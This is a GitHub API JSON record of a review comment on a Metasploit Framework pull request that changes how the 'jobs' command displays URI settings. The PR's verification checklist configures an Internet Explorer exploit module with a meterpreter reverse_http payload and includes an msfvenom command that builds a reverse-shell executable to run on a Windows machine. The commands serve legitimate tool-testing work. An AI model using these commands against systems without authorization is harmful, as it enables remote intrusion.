{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/72370611","id":72370611,"diff_hunk":"@@ -668,34 +659,41 @@ def self.dump_jobs(framework, verbose = false, indent = DefaultIndent, col = Def\n       'Columns' => columns\n       )\n \n-    # jobs are stored as a hash with the keys being a numeric job_id.\n-    framework.jobs.keys.sort{|a,b| a.to_i <=> b.to_i }.each { |k|\n+    # jobs are stored as a hash with the keys being a numeric String job_id.\n+    framework.jobs.keys.sort_by(&:to_i).each do |job_id|\n       # Job context is stored as an Array with the 0th element being\n       # the running module. If that module is an exploit, ctx will also\n       # contain its payload.\n-      ctx = framework.jobs[k].ctx\n-      row = [ k, framework.jobs[k].name ]\n-      row << (ctx[1].nil? ? (ctx[0].datastore['PAYLOAD'] || \"\") : ctx[1].refname)\n-\n-      # Make the LPORT show the bind port if it's different\n-      local_port = ctx[0].datastore['LPORT']\n-      bind_port = ctx[0].datastore['ReverseListenerBindPort']","path":"lib/msf/base/serializer/readable_text.rb","position":63,"original_position":63,"commit_id":"f7382f5b3bbb7f05667ae5e072918ae483e309ac","original_commit_id":"f7382f5b3bbb7f05667ae5e072918ae483e309ac","user":{"login":"busterb","id":4108654,"avatar_url":"https://avatars.githubusercontent.com/u/4108654?v=3","gravatar_id":"","url":"https://api.github.com/users/busterb","html_url":"https://github.com/busterb","followers_url":"https://api.github.com/users/busterb/followers","following_url":"https://api.github.com/users/busterb/following{/other_user}","gists_url":"https://api.github.com/users/busterb/gists{/gist_id}","starred_url":"https://api.github.com/users/busterb/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/busterb/subscriptions","organizations_url":"https://api.github.com/users/busterb/orgs","repos_url":"https://api.github.com/users/busterb/repos","events_url":"https://api.github.com/users/busterb/events{/privacy}","received_events_url":"https://api.github.com/users/busterb/received_events","type":"User","site_admin":false},"body":"can you and @egypt work this out? playing tug-of-war with this functionality doesn't make sense.","created_at":"2016-07-27T02:08:32Z","updated_at":"2016-07-27T02:08:32Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/6919#discussion_r72370611","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6919","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/72370611"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6919#discussion_r72370611"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6919"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6919","id":71740022,"html_url":"https://github.com/rapid7/metasploit-framework/pull/6919","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6919.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6919.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6919","number":6919,"state":"closed","locked":false,"title":"URIPATH vs LURI display in `jobs`","user":{"login":"egypt","id":287967,"avatar_url":"https://avatars.githubusercontent.com/u/287967?v=3","gravatar_id":"","url":"https://api.github.com/users/egypt","html_url":"https://github.com/egypt","followers_url":"https://api.github.com/users/egypt/followers","following_url":"https://api.github.com/users/egypt/following{/other_user}","gists_url":"https://api.github.com/users/egypt/gists{/gist_id}","starred_url":"https://api.github.com/users/egypt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/egypt/subscriptions","organizations_url":"https://api.github.com/users/egypt/orgs","repos_url":"https://api.github.com/users/egypt/repos","events_url":"https://api.github.com/users/egypt/events{/privacy}","received_events_url":"https://api.github.com/users/egypt/received_events","type":"User","site_admin":false},"body":"Move `LURI` into a full URI in a new \"Payload opts\" column in `jobs` output, freeing up URIPATH to be what it has been historically.\r\n\r\nSee #4623 \r\n\r\n## Verification\r\n\r\n- [x] Start `msfconsole`\r\n- [x] Set up a module that runs an http server\r\n  - [x] `use exploit/windows/browser/ie_cbutton_uaf`\r\n  - [x] `set PAYLOAD windows/meterpreter/reverse_http`\r\n  - [x] `set URIPATH /cbutton`\r\n  - [x] `set ReverseListenerBindAddress 0.0.0.0`\r\n  - [x] `set LURI /nativewindows`\r\n  - [x] `run`\r\n- [x] `jobs`\r\n- [x] **Verify** output contains a URI in the \"Payload opts\" column that matches your settings, e.g.: `http://192.168.99.1:8080/nativewindows`\r\n- [x] `jobs -v`\r\n- [x] **Verify** output contains a URI in the \"Handler opts\" column that matches your settings, e.g.: `http://0.0.0.0:8080/nativewindows`\r\n- [x] **Verify** output contains a URI in the \"URIPATH\" column that matches your settings, e.g.: `/cbutton`\r\n- [x] generate a meterpreter/reverse_http executable that matches your handler settings from above\r\n  - [x] `./msfvenom -p windows/meterpreter/reverse_http LPORT=8080 LHOST=192.168.99.1 LURI=/nativewindows -f exe > met-8080_nativewindows.exe`\r\n  - [x] run it on a windows box\r\n- [x] **Verify** Still gets a working shell\r\n\r\n\r\n","created_at":"2016-05-27T16:32:05Z","updated_at":"2016-07-27T02:08:32Z","closed_at":"2016-06-03T18:58:46Z","merged_at":"2016-06-03T18:58:46Z","merge_commit_sha":"f7382f5b3bbb7f05667ae5e072918ae483e309ac","assignee":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false}],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6919/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6919/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6919/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/f7382f5b3bbb7f05667ae5e072918ae483e309ac","head":{"label":"egypt:jobs-uri-display","ref":"jobs-uri-display","sha":"f7382f5b3bbb7f05667ae5e072918ae483e309ac","user":{"login":"egypt","id":287967,"avatar_url":"https://avatars.githubusercontent.com/u/287967?v=3","gravatar_id":"","url":"https://api.github.com/users/egypt","html_url":"https://github.com/egypt","followers_url":"https://api.github.com/users/egypt/followers","following_url":"https://api.github.com/users/egypt/following{/other_user}","gists_url":"https://api.github.com/users/egypt/gists{/gist_id}","starred_url":"https://api.github.com/users/egypt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/egypt/subscriptions","organizations_url":"https://api.github.com/users/egypt/orgs","repos_url":"https://api.github.com/users/egypt/repos","events_url":"https://api.github.com/users/egypt/events{/privacy}","received_events_url":"https://api.github.com/users/egypt/received_events","type":"User","site_admin":false},"repo":{"id":19293326,"name":"metasploit-framework","full_name":"egypt/metasploit-framework","owner":{"login":"egypt","id":287967,"avatar_url":"https://avatars.githubusercontent.com/u/287967?v=3","gravatar_id":"","url":"https://api.github.com/users/egypt","html_url":"https://github.com/egypt","followers_url":"https://api.github.com/users/egypt/followers","following_url":"https://api.github.com/users/egypt/following{/other_user}","gists_url":"https://api.github.com/users/egypt/gists{/gist_id}","starred_url":"https://api.github.com/users/egypt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/egypt/subscriptions","organizations_url":"https://api.github.com/users/egypt/orgs","repos_url":"https://api.github.com/users/egypt/repos","events_url":"https://api.github.com/users/egypt/events{/privacy}","received_events_url":"https://api.github.com/users/egypt/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/egypt/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/egypt/metasploit-framework","forks_url":"https://api.github.com/repos/egypt/metasploit-framework/forks","keys_url":"https://api.github.com/repos/egypt/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/egypt/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/egypt/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/egypt/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/egypt/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/egypt/metasploit-framework/events","assignees_url":"https://api.github.com/repos/egypt/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/egypt/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/egypt/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/egypt/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/egypt/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/egypt/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/egypt/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/egypt/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/egypt/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/egypt/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/egypt/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/egypt/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/egypt/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/egypt/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/egypt/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/egypt/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/egypt/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/egypt/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/egypt/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/egypt/metasploit-framework/merges","archive_url":"https://api.github.com/repos/egypt/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/egypt/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/egypt/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/egypt/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/egypt/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/egypt/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/egypt/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/egypt/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/egypt/metasploit-framework/deployments","created_at":"2014-04-29T22:22:09Z","updated_at":"2014-04-29T22:22:19Z","pushed_at":"2016-07-07T20:01:22Z","git_url":"git://github.com/egypt/metasploit-framework.git","ssh_url":"git@github.com:egypt/metasploit-framework.git","clone_url":"https://github.com/egypt/metasploit-framework.git","svn_url":"https://github.com/egypt/metasploit-framework","homepage":"http://www.metasploit.com/","size":283651,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"00b18c8ac5895d7d7b42efe4f556173b62abb445","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2016-07-27T01:53:55Z","pushed_at":"2016-07-27T01:28:00Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1367346,"stargazers_count":6232,"watchers_count":6232,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":4204,"mirror_url":null,"open_issues_count":318,"forks":4204,"open_issues":318,"watchers":6232,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6919"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6919"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6919"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6919/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6919/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6919/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/f7382f5b3bbb7f05667ae5e072918ae483e309ac"}}}}
{"actor":{"display_login":"busterb"}}